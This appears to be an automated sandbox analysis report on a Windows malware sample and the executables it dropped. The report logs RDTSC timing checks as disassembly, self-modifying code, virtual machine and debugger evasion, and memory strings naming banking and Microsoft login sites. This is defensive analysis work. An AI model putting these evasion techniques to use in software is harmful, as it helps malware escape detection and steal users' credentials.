Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C800CC second address: 4C80130 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF902724Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ecx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FFAF9027254h 0x00000013 and esi, 017C69E8h 0x00000019 jmp 00007FFAF902724Bh 0x0000001e popfd 0x0000001f mov dx, si 0x00000022 popad 0x00000023 push eax 0x00000024 jmp 00007FFAF9027255h 0x00000029 xchg eax, ecx 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007FFAF902724Dh 0x00000031 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C8019B second address: 4C801A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C801A1 second address: 4C801A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C80BE7 second address: 4C80BEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C80BEB second address: 4C80BF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C80BF1 second address: 4C80BF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C80BF7 second address: 4C80C1C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF9027254h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 movsx ebx, si 0x00000013 push eax 0x00000014 pop edi 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C80CA9 second address: 4C80CC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push 24BFA4CDh 0x0000000b pushad 0x0000000c mov ecx, edx 0x0000000e mov esi, ebx 0x00000010 popad 0x00000011 add dword ptr [esp], 50EEF75Bh 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C80CC7 second address: 4C80CCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C80CCB second address: 4C80CD9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF8C4A83Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C80CD9 second address: 4C80D2C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF902724Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007FFB69E3C0D0h 0x0000000e push 75A92B70h 0x00000013 push dword ptr fs:[00000000h] 0x0000001a mov eax, dword ptr [esp+10h] 0x0000001e mov dword ptr [esp+10h], ebp 0x00000022 lea ebp, dword ptr [esp+10h] 0x00000026 sub esp, eax 0x00000028 push ebx 0x00000029 push esi 0x0000002a push edi 0x0000002b mov eax, dword ptr [75AF4538h] 0x00000030 xor dword ptr [ebp-04h], eax 0x00000033 xor eax, ebp 0x00000035 push eax 0x00000036 mov dword ptr [ebp-18h], esp 0x00000039 push dword ptr [ebp-08h] 0x0000003c mov eax, dword ptr [ebp-04h] 0x0000003f mov dword ptr [ebp-04h], FFFFFFFEh 0x00000046 mov dword ptr [ebp-08h], eax 0x00000049 lea eax, dword ptr [ebp-10h] 0x0000004c mov dword ptr fs:[00000000h], eax 0x00000052 ret 0x00000053 push eax 0x00000054 push edx 0x00000055 pushad 0x00000056 pushfd 0x00000057 jmp 00007FFAF902724Bh 0x0000005c adc si, 1D1Eh 0x00000061 jmp 00007FFAF9027259h 0x00000066 popfd 0x00000067 jmp 00007FFAF9027250h 0x0000006c popad 0x0000006d rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C80D2C second address: 4C80D65 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF8C4A83Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub esi, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov ecx, 12463CC7h 0x00000013 pushfd 0x00000014 jmp 00007FFAF8C4A83Ch 0x00000019 or esi, 096EC578h 0x0000001f jmp 00007FFAF8C4A83Bh 0x00000024 popfd 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C80D65 second address: 4C80D6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C80D6B second address: 4C80D6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C80D6F second address: 4C80D9A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF902724Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [ebp-1Ch], esi 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FFAF9027255h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C80E04 second address: 4C80E4C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FFB69A4E3AFh 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FFAF8C4A843h 0x00000017 or ecx, 1A72676Eh 0x0000001d jmp 00007FFAF8C4A849h 0x00000022 popfd 0x00000023 pushad 0x00000024 popad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C80E4C second address: 4C80E5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFAF902724Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C80E5A second address: 4C80E82 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF8C4A83Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b cmp dword ptr [ebp+08h], 00002000h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jmp 00007FFAF8C4A83Bh 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C80E82 second address: 4C80E87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C909BE second address: 4C909E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FFAF8C4A844h 0x00000008 push esi 0x00000009 pop ebx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f mov ax, bx 0x00000012 popad 0x00000013 xchg eax, ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 mov ax, 8903h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C909E9 second address: 4C90A43 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF9027254h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007FFAF9027250h 0x00000010 xchg eax, esi 0x00000011 pushad 0x00000012 mov di, ax 0x00000015 push esi 0x00000016 mov dx, 1D3Ch 0x0000001a pop edi 0x0000001b popad 0x0000001c push eax 0x0000001d jmp 00007FFAF902724Bh 0x00000022 xchg eax, esi 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007FFAF9027255h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C90A43 second address: 4C90AED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FFAF8C4A847h 0x00000009 sub eax, 6470B7CEh 0x0000000f jmp 00007FFAF8C4A849h 0x00000014 popfd 0x00000015 mov bh, ah 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov esi, dword ptr [ebp+0Ch] 0x0000001d jmp 00007FFAF8C4A843h 0x00000022 test esi, esi 0x00000024 jmp 00007FFAF8C4A846h 0x00000029 je 00007FFB69A4813Ch 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 mov cx, bx 0x00000035 pushfd 0x00000036 jmp 00007FFAF8C4A849h 0x0000003b sbb ah, FFFFFFC6h 0x0000003e jmp 00007FFAF8C4A841h 0x00000043 popfd 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C90AED second address: 4C90AF2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C90AF2 second address: 4C90B4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FFAF8C4A83Dh 0x0000000a xor esi, 10F03826h 0x00000010 jmp 00007FFAF8C4A841h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 cmp dword ptr [75AF459Ch], 05h 0x00000020 pushad 0x00000021 pushad 0x00000022 push esi 0x00000023 pop edx 0x00000024 mov cl, 7Ch 0x00000026 popad 0x00000027 call 00007FFAF8C4A83Bh 0x0000002c mov dx, ax 0x0000002f pop esi 0x00000030 popad 0x00000031 je 00007FFB69A60190h 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a mov bx, cx 0x0000003d movzx esi, di 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C90B4D second address: 4C90B62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFAF9027251h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C90B62 second address: 4C90B80 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF8C4A841h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C90B80 second address: 4C90B84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C90B84 second address: 4C90B97 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF8C4A83Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C90B97 second address: 4C90BAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFAF9027254h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C90BAF second address: 4C90BB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C90C42 second address: 4C90C52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFAF902724Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C90C52 second address: 4C90C56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C90C56 second address: 4C90C65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C90C65 second address: 4C90C7D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF8C4A844h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe	RDTSC instruction interceptor: First address: 26028C second address: 26029D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF902724Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe	RDTSC instruction interceptor: First address: 3CF48C second address: 3CF4A0 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FFAF8C4A836h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnc 00007FFAF8C4A836h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe	RDTSC instruction interceptor: First address: 3CF4A0 second address: 3CF4A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Special instruction interceptor: First address: 3889C9 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Special instruction interceptor: First address: 5B6D86 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe	Special instruction interceptor: First address: 25FA78 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe	Special instruction interceptor: First address: 25FBB8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe	Special instruction interceptor: First address: 3F7213 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe	Special instruction interceptor: First address: 41C5A5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Special instruction interceptor: First address: AAED79 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Special instruction interceptor: First address: AAECF2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Special instruction interceptor: First address: CD7579 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 2FED79 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 2FECF2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 527579 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe

Code function: 5_2_048B0764 rdtsc

5_2_048B0764

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Thread delayed: delay time: 180000

Jump to behavior

Source: C:\Users\user\Desktop\mDuCbT8LnH.exe TID: 6584	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe TID: 6672	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe TID: 2228	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2228	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5532	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6616	Thread sleep time: -42021s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3176	Thread sleep count: 302 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3176	Thread sleep time: -9060000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6672	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6656	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3176	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\mDuCbT8LnH.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior

Source: skotes.exe, skotes.exe, 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: mDuCbT8LnH.exe, 00000000.00000003.2160148028.00000000055F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: mDuCbT8LnH.exe, 00000000.00000003.2160148028.00000000055F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: mDuCbT8LnH.exe, 00000000.00000003.2160148028.00000000055F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: mDuCbT8LnH.exe, 00000000.00000003.2160148028.00000000055F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: mDuCbT8LnH.exe, 00000000.00000003.2159957871.0000000005665000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: mDuCbT8LnH.exe, 00000000.00000003.2160148028.00000000055F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: mDuCbT8LnH.exe, 00000000.00000003.2160148028.00000000055F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: mDuCbT8LnH.exe, 00000000.00000003.2136051820.0000000000E62000.00000004.00000020.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2209734665.0000000000E62000.00000004.00000020.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2389615438.0000000000E62000.00000004.00000020.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2230821865.0000000000E62000.00000004.00000020.00020000.00000000.sdmp, V4H7WRUUSV81II1QF.exe, 00000003.00000002.2464807100.0000000000E88000.00000004.00000020.00020000.00000000.sdmp, V4H7WRUUSV81II1QF.exe, 00000003.00000002.2464807100.0000000000EB3000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000002.3347953760.0000000000BD9000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000002.3347953760.0000000000BAA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: mDuCbT8LnH.exe, 00000000.00000003.2160148028.00000000055F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: mDuCbT8LnH.exe, 00000000.00000003.2160148028.00000000055F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: mDuCbT8LnH.exe, 00000000.00000003.2160148028.00000000055F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: mDuCbT8LnH.exe, 00000000.00000003.2160148028.00000000055F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: mDuCbT8LnH.exe, 00000000.00000003.2160148028.00000000055F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: mDuCbT8LnH.exe, 00000000.00000003.2160148028.00000000055F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: mDuCbT8LnH.exe, 00000000.00000003.2160148028.00000000055F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: mDuCbT8LnH.exe, 00000000.00000003.2160148028.00000000055F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: mDuCbT8LnH.exe, 00000000.00000003.2160148028.00000000055F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: mDuCbT8LnH.exe, 00000000.00000003.2160148028.00000000055F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: mDuCbT8LnH.exe, 00000000.00000003.2160148028.00000000055F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: mDuCbT8LnH.exe, 00000000.00000003.2160148028.00000000055F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: mDuCbT8LnH.exe, 00000000.00000003.2160148028.00000000055F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: mDuCbT8LnH.exe, 00000000.00000003.2160148028.00000000055F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: mDuCbT8LnH.exe, 00000000.00000003.2160148028.00000000055F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: mDuCbT8LnH.exe, 00000000.00000003.2160148028.00000000055F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: mDuCbT8LnH.exe, 00000000.00000003.2160148028.00000000055F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: mDuCbT8LnH.exe, 00000000.00000003.2160148028.00000000055F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: mDuCbT8LnH.exe, 00000000.00000003.2160148028.00000000055F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: mDuCbT8LnH.exe, 00000000.00000003.2160148028.00000000055F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: mDuCbT8LnH.exe, 00000000.00000003.2160148028.00000000055F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: mDuCbT8LnH.exe, 00000000.00000003.2159957871.0000000005665000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: V4H7WRUUSV81II1QF.exe, 00000003.00000002.2464807100.0000000000EB3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW3nU
Source: V4H7WRUUSV81II1QF.exe, 00000003.00000002.2464807100.0000000000E3E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: mDuCbT8LnH.exe, 00000000.00000003.2160148028.00000000055F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: skotes.exe, 00000007.00000002.3347953760.0000000000BD9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW}
Source: mDuCbT8LnH.exe, 00000000.00000003.2160148028.00000000055F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: V4H7WRUUSV81II1QF.exe, 00000003.00000002.2463201348.00000000003D6000.00000040.00000001.01000000.00000006.sdmp, 40KDYYZHGE3JBLN65FUJY4PQI.exe, 00000005.00000002.2582549428.0000000000C2D000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000006.00000002.2624960554.000000000047D000.00000040.00000001.01000000.0000000A.sdmp, skotes.exe, 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: mDuCbT8LnH.exe, 00000000.00000003.2160148028.00000000055F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: mDuCbT8LnH.exe, 00000000.00000003.2160148028.00000000055F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\mDuCbT8LnH.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\mDuCbT8LnH.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior

